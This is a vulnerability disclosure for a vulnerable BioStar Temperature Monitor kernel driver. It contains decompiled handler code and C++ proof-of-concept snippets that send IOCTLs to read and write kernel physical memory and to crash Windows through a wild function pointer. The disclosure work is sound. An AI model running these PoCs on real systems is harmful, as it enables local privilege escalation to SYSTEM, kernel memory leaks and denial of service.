| Descrizione | 1. VULNERABILITY COMPONENT
Vendor Name: BioStar (official site: https://www.biostar.com.tw)
Product Name: Temperature Monitor Utility (download link: https://www.biostar.com.tw/app/en/mb/introduction.php?S_ID=1205&data-type=DOWNLOAD)
Affected Version(s): 1.2.1806.2200
Affected Component/File: BS_HWMIO64_W10.sys(SHA256: 1D0397C263D51E9FC95BCC8BAF98D1A853E1C0401CD0E27C7BF5DA3FBA1C93A8)
Affected Routine/Function: sub_1105C(IOCTL handler)
2. VULNERABILITY DETAILS
Vulnerability Type: Arbitrary memory read and write
CWE ID: CWE-822, CWE-123, CWE-125, CWE-1256, CWE-400
Attack Vector: Local
Required Privileges: User (Low-privileged user/Everyone group)
3. ANALYSIS DETAILS
3.1 Arbitrary Read and write
.text:00000000000110D5(0x10000 + 0x10D5):
```C++
v11 = v10 - 4;
if ( !v11 )
{
CurrentIrql = KeGetCurrentIrql();
if ( CurrentIrql )
__writecr8(0);
sub_117E4(*(_DWORD *)a2->AssociatedIrp.SystemBuffer, a2->AssociatedIrp.SystemBuffer, OutputBufferLength);// Arbitrary Read
goto LABEL_28;
}
v12 = v11 - 4;
if ( v12 )
{
v13 = v12 - 4;
if ( v13 )
{
if ( v13 == 4 )
{
CurrentIrql = KeGetCurrentIrql();
if ( CurrentIrql )
__writecr8(0);
sub_11904(
*(_DWORD *)a2->AssociatedIrp.SystemBuffer,
*((_DWORD *)a2->AssociatedIrp.SystemBuffer + 1),
*((_DWORD *)a2->AssociatedIrp.SystemBuffer + 2));
goto LABEL_28;
}
goto LABEL_98;
}
CurrentIrql = KeGetCurrentIrql();
if ( CurrentIrql )
__writecr8(0);
SystemBuffer = (unsigned int *)a2->AssociatedIrp.MasterIrp;
v16 = sub_11880(*SystemBuffer, SystemBuffer[1]);
goto LABEL_17;
}
v17 = KeGetCurrentIrql();
if ( v17 )
__writecr8(0);
v18 = (unsigned int *)a2->AssociatedIrp.SystemBuffer; // Arbitrary Write
v19 = (unsigned int)(InputBufferLength - 4);
v20 = *v18;
KeWaitForSingleObject(&Semaphore, Executive, 0, 0, nullptr);
PhysicalAddress.QuadPart = v20;
v21 = MmMapIoSpace((PHYSICAL_ADDRESS)v20, v19, MmNonCached);
memmove(v21, v18 + 1, v19);
MmUnmapIoSpace(v21, v19);
KeReleaseSemaphore(&Semaphore, 0, 1, 0);
LowPart = OutputBufferLength;
```
sub_117E4:
```c++
LONG __fastcall sub_117E4(unsigned int a1, void *a2, unsigned int a3)
{
SIZE_T v4; // rsi
PVOID v6; // rax
v4 = a3;
KeWaitForSingleObject(&Semaphore, Executive, 0, 0, nullptr);
v6 = MmMapIoSpace((PHYSICAL_ADDRESS)a1, v4, MmNonCached);
qmemcpy(a2, v6, v4);
MmUnmapIoSpace(v6, v4);
return KeReleaseSemaphore(&Semaphore, 0, 1, 0);
}
```
3.2 Arbitrary MSR read and write:
.text:00000000000113B1(0x10000 + 0x13B1)
```c++
if ( !v36 )
{
CurrentIrql = KeGetCurrentIrql();
if ( CurrentIrql )
__writecr8(0);
v47 = a2->AssociatedIrp.MasterIrp;
v48 = *(_DWORD *)&v47->Type;
dword_14130 = 0;
dword_14134 = 0;
dword_14138 = v48;
KeWaitForSingleObject(&Semaphore, Executive, 0, 0, nullptr);
sub_12240();
*(_DWORD *)&v47->Type = dword_14134;
*(_DWORD *)(&v47->Size + 1) = dword_14130;
goto LABEL_88;
}
v37 = v36 - 4;
if ( !v37 )
{
CurrentIrql = KeGetCurrentIrql();
if ( CurrentIrql )
__writecr8(0);
v46 = (int *)&a2->AssociatedIrp.MasterIrp->Type;
dword_14138 = *v46;
dword_14134 = v46[1];
dword_14130 = v46[2];
KeWaitForSingleObject(&Semaphore, Executive, 0, 0, nullptr);
sub_12264();
LABEL_88:
KeReleaseSemaphore(&Semaphore, 0, 1, 0);
goto LABEL_28;
}
```
3.3 Blindly call function pointer originated from user space:
.text:00000000000110CC(0x10000 + 0x10CC)
```c++
v10 = IoControlCode - 0x226000;
if ( !v10 )
{
CurrentIrql = KeGetCurrentIrql();
if ( CurrentIrql )
__writecr8(0);
(*(void (__fastcall **)(__int64, __int64))a2->AssociatedIrp.SystemBuffer)(0x226014, InputBufferLength);
goto LABEL_28;
}
```
4. TECHNICAL DESCRIPTION
Option A: Arbitrary Kernel Write (The "Write-What-Where" Flaw)
Description:
An untrusted pointer dereference vulnerability (CWE-822 / CWE-123) exists in the BS_HWMIO64_W10.sys kernel-mode driver. The driver exposes a control code (IOCTL 0x226008) to user-mode applications. When handling this request, the driver's dispatch routine fails to validate a user-supplied pointer passed in the input buffer before executing a write operation to that memory address.
A local attacker with low privileges can craft a malicious IOCTL request containing a target kernel-space address and arbitrary data, allowing them to overwrite critical kernel structures (such as page tables or token privileges). This leads to a local privilege escalation (LPE) to NT AUTHORITY\SYSTEM or a system crash (BSOD).
Option B: Arbitrary Kernel Read
Description:
An out-of-bounds read vulnerability (CWE-125) exists in the BS_HWMIO64_W10.sys kernel-mode driver. The driver's IOCTL handler (IOCTL 0x226004) accepts a physical memory address pointer directly from user-space without performing validation
The driver reads data from the specified kernel address and copies it back to the user-space output buffer. A local, low-privileged attacker can exploit this to leak arbitrary kernel memory, bypassing Kernel Address Space Layout Randomization (KASLR) or extracting sensitive system tokens and credentials.
Option C: Arbitrary MSR register Read and Write
Description:
An issue was discovered in BS_HWMIO64_W10.sys. The driver exposes an interface that allows untrusted user-mode applications to invoke arbitrary write operations to Model-Specific Registers (MSRs) via IOCTL 0x226038 (CWE-1256), bypassing Ring 0 execution restrictions.
Optoin D: Blindly call function pointer originated from user space
Description:
An issue was discovered in BS_HWMIO64_W10.sys. The driver try to call a wild pointer from untrusted user-mode applications via IOCTL 0x226000 (CWE-400), will cause windows system BSOD(Blue Screen Of Death) directly if the wild function pointer is not a leagal virtual address in kernel space
5. PROOF OF CONCEPT (PoC)
Example:
The flaw can be reproduced by opening a handle to the device object and sending the control code with a crafted parameter:
Read Kernel Memory:
```c++
/* Read from kernel memory */
// We can leak physical kernel base through other tricks
DWORD PhysicalAddress{0x30a3000};
// The buffer receive the kernel data
UCHAR OutBuffer[512]{};
HANDLE hDevice = CreateFileW(L"\\\\.\\BS_HWMIO", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
DWORD bytesReturned{ 0 };
DeviceIoControl(hDevice, 0x226004, &PhysicalAddress, sizeof(DWORD), OutBuffer, sizeof(OutBuffer), &bytesReturned, NULL);
}
```
Write Kernel Memory:
```c++
/* Write into kernel memory */
struct WriteRequest {
DWORD PhysicalAddress;
UCHAR Buffer[1];
};
auto allocSize = sizeof(DWORD) + 1024;
std::unique_ptr<WriteRequest> req{ (WriteRequest*)::operator new (allocSize) };
// We can leak physical kernel base through other tricks
req->PhysicalAddress = 0x30a3000
constexpr ULONG GARBAGE_DATA = 0x5A5A5A5A;
// Write garbage data
memcpy(&req->Buffer[0], &GARBAGE_DATA, sizoef(ULONG));
HANDLE hDevice = CreateFileW(L"\\\\.\\BS_HWMIO", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
DWORD bytesReturned;
DeviceIoControl(hDevice, 0x226008, req.get(), allocSize, req.get(), allocSize, &bytesReturned, NULL);
}
```
Blindly call trigger BSOD:
```c++
PVOID WildPointer{ (PVOID)0xDEADC0DEull };
HANDLE hDevice = CreateFileW(L"\\\\.\\BS_HWMIO", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
DWORD bytesReturned{ 0 };
DeviceIoControl(hDevice, 0x226000, &WildPointer, sizeof(PVOID), NULL, 0, &bytesReturned, NULL);
}
```
6. CREDIT
Discoverer/Researcher: Jacky([email protected]) |
|---|